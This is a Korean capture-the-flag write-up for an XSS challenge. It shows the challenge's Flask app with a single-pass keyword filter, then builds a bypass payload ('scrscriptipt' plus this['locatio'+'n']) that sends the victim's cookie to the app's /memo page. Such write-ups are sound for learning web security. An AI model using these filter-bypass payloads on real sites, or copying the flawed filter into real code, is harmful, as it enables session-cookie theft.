먼저 아래 코드를 보자.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
핵심은 vuln엔드포인트이다.
공격 시나리오를 생각을 해보자.
1.사용자가 vuln 페이지에 악성 param이 담긴 url에 접속한다.
2.vuln페이지에서 xss_filter를 통과한다.
3.param에 적혀있는 악성 코드가 실행되어서 그 이용자의 쿠키(flag)를 탈취한다.
이 공격을 성공하기 위해서는 결국 vuln페이지에서 xss_filter를 통과하는 것이 핵심이다.
xss_filter 함수를 아래에서 다시 유심히 보자
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
replace함수가 보인다.
replace함수는 이미 dvwa에서 몇번 우회 해본 함수이다.
그 때 익혔던 우회 방법은 replace함수가 한번만 필터링을 해준다는 점을 이용하는 것이다.
현재 replace함수는 filter에 걸러진 문자열을 공백으로 치환한다.
그렇다 script 대신 scrscriptipt를 적게 된다면 가운데 script가 치환되고 script만 남게 될 것이다.
그럼 최종적으로 악성 url의 param을 작성해보자.
아래는 flag 페이지이다.
차근 차근 생각을 해보자
먼저 script를 우회하자
<scrscriptipt> </scrscriptipt>이런 식으로 하면 된다.
그 다음에 안에 location.href="/memo?memo="+document.cookie;로 memo 페이지에 이동하게 하여 memo페이지에 사용자의 쿠키가 랜더링 되게 하자.
합쳐 보면
<scrscriptipt>location.href="/memo?memo="+document.cookie;</scrscriptipt>
이러한 코드가 된다.
이것을 param에 넣어주자
하지만 memo 페이지에는 memo가 적히지 않았다.
이건 사용자가 memo 페이지로 location 자체가 안되었다는 것이다.
문제가 무엇일까 살펴보니
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
바로 위에 코드에서 on이 필터링 되는데 location에 on이라는 문자열이 있었기 때문이었다.
그럼 이전에 드림핵에서 배웠던 Computed member access로 객체 속성의 이름을 동적으로 변환 시켜 우회해주자.
location 함수는 this(window)의 프로퍼티이므로
this["locatio"+"n"] 이런식으로 우회해주면 된다.
그럼 최종적으로 전부 조합을 해보자.
<scrscriptipt>this["locatio"+"n"].href="/memo?memo="+document.cookie;</scrscriptipt>
위와 같은 코드를 param으로 보내게 되면 필터링들을 전부 우회가 되면서
아래와 같이 flag를 얻을 수 있다.